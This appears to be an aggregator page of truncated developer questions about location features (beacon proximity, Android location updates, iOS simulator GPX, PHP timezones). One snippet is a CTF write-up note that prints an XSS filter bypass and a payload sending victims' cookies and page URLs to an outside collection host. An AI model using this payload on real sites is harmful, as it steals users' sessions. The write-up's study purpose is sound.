location

Proximity range for Beacons changes back and forth even when the App is in the same place

喜你入骨 提交于 2019-12-04 15:53:38
Beacon Proximity range changes the proximity response as Near - Immediate - Far, even while the ios Device remains in the same place. As I open a view when the proximity response is Near. I get the proximity response back and forth, Near - immediate then Near. It shows up the view again and again How can we solve this issue. Is there any event handler. Thanks. The proximity and accuracy values appear to be quite 'noisy'. It can also depend on your environment. Water (and therefore people) absorbs the frequencies used by Bluetooth so people moving can have an impact, but I observe variation in

LocationRequest in Google Play Services isn't updating for interval set as less than 1 second.

大兔子大兔子 提交于 2019-12-04 15:32:19
I'm developing an android app in which I need to show location updates with some 30-40 updates per second. I'm using the Location APIs of Google Play Services , introduced in Google I/O 2013. It uses a fused location provider (making use of accelerometers and other sensors along with GPS) for more accurate & efficient location tracking. Here's my code: protected void startLocationTracking() { if (GooglePlayServicesUtil.isGooglePlayServicesAvailable(this)) { mLocationClient = new LocationClient(this, mConnectionCallbacks, mConnectionFailedListener); mLocationClient.connect(); } } private

Customize iOS Simulator preset locations to fake as current location

匆匆过客 提交于 2019-12-04 14:51:43
In the iOS simulator, one can select from some Apple pre-defined locations, or enter a custom latitude/longitude for your own location. I want to customize that list of available locations. I see from this answer that one can provide a gpx file. However, I don't see where to do this in Xcode5 (the screenshots shown in the linked to answer are for Xcode 4). Suggestions? EDIT: Another way to achieve this to edit your run scheme and select options. and provide GPX file in default location dropbox.Make sure that allow location simulation is enabled. https://developer.apple.com/library/ios

How to handle Location Listener updates inside a Service in Android?

杀马特。学长 韩版系。学妹 提交于 2019-12-04 13:21:41
问题 I am working on an app that should get accurate user location continuously if user is inside a specific zone. The location updates should be saved on a server (Parse.com) so other users can get the current location of the user. The flow is: Application onCreate --> start Service with LocationListener --> onLocationChanged --> save new location on Parse.com --> Parse.com Cloud afterSave method send push notification to users --> other users get notifications via broadcast reciever --> update

Constantly tracking user location on iOS

强颜欢笑 提交于 2019-12-04 13:18:20
问题 I need to constantly monitor the position of an user to notify him when he gets near something interesting. Which is the correct way to achieve this? I have not been able to keep a timer running in the background (to periodically update user's position on the server), I also read that subscribing to significant location changes could have make me receive location updates even when the app is not running, but i can't get it happen. Am I on the right path? Are there any other options? EDIT -

Where do the location and currentBestLocation come from? in Android Dev Guide (Obtaining User Location)

自闭症网瘾萝莉.ら 提交于 2019-12-04 13:15:47
问题 I read the tutorial about Obtaining User Location in Android Dev Guid and, I try to adapt this to the following code.. but i don't know which location value I should put into isBetterLocation(Location location, Location currentBestLocation) Example.class private LocationManager locman; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); String context = Context.LOCATION_SERVICE; locman = (LocationManager

Google Maps - Location keeps jumping between my real location and 0.6 miles away (Random place)

大憨熊 提交于 2019-12-04 12:21:33
I've got Google Maps v2 running on my app, using a service to get the users location. Problem is the location keeps changing. It shows my real location for a bit, then jumps to a random location that I've never been to before. I'm check GPS/Network lat/lng via the service and calling them in my maps class, where I then animate the camera to move to my location. I don't really know what's wrong, or where to start with this one. Does anyone know what sort of problem this is? It's baffling to me. I don't really know what code to post. The accuracy of the location via network is 1121m where as the

复现题目[CISCN 2019 华东北赛区 Web2 WriteUp](https://www.zhaoj.in/read-6100.html)的一些东西

删除回忆录丶 提交于 2019-12-04 12:20:58
以前一直没做过xss的题,这次按writeup做题感觉有所收获,记录一下吧 xss 的waf的绕过 ()都被过滤,把所有的payload转为 HTML Markup ,其实就是&#加ascii码 payload <svg><script>eval&#40&#34" + output + "&#34&#41</script> output就是下面的东西转化为HTML Markup编码的东西,这是XSS Platform这个平台自带的payload,一开始没看懂,整理一下代码格式 (function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0 &location='+escape((function(){try{return document.location.href}catch(e){return''}})())+ '&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+ '&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+ '

webapi(5)

依然范特西╮ 提交于 2019-12-04 12:16:01
typora-copy-images-to: media 第02阶段.前端基本功.webAPI 基础语法 学习目标 理解 什么是BOM 什么是url 重点 掌握页面加载事件 掌握一个完整url的组成部分 掌握location对象常用的方法和属性 掌握history对象常用的方法 掌握navigator对象的userAgent属性的作用 掌握设置定时器的两种方法 掌握移除定时器的方法 ​ 1.BOM 概念: BOM(Browser Object Model) 是指浏览器对象模型,浏览器对象模型提供了独立于内容的、可以与浏览器窗口进行互动的对象结构。BOM由多个对象组成,其中代表浏览器窗口的Window对象是BOM的顶层对象,其他对象都是该对象的子对象。 通俗理解: 把浏览器当做对象,通过访问对象的属性,实现操作浏览器的一组方法 2. 页面加载事件 2.1 load事件 window.onload = function () { // 当页面加载完所有内容(包括图像、脚本文件、CSS 文件等)执行 } 2.2 unload事件 window.onunload = function () { // 当用户退出页面时执行(关闭页面) } 小结: window.onload事件 是页面所有资源加载完成时触发 window.onunload事件 是用户退出页面时触发 3.location对象

Get timezone offset for a given location

孤街醉人 提交于 2019-12-04 11:54:13
问题 Is it possible in PHP to get the timezone offset for a given location? E.g. when given the location "Sydney/Australia" to get the timezone offset as "+1100". Bonus would be for this function the keep daylight savings in mind (i.e. it's aware of daylight savings and adjusts the offset according). 回答1: To display a local date/time you can use the following, where 'Europe/Berlin' would be replaced with the user's timezone. $date = new DateTime($value); $date->setTimezone(new DateTimeZone('Europe